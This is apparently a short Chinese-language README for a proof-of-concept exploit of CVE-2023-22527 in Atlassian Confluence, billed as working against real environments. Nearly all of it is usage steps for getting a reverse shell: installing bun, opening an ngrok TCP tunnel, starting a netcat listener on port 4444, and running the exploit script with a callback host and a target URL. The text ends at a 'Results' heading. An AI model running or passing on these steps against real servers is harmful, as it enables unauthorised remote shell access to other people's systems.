CVE-2023-22527-confluence

[Confluence] CVE-2023-22527 真实环境 POC

用法

下载 bun

https://github.com/oven-sh/bun/releases

启动 ngrok

ngrok tcp 4444

监听 localhost 4444

nc -nvlp 4444

运行 exploit

bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/

结果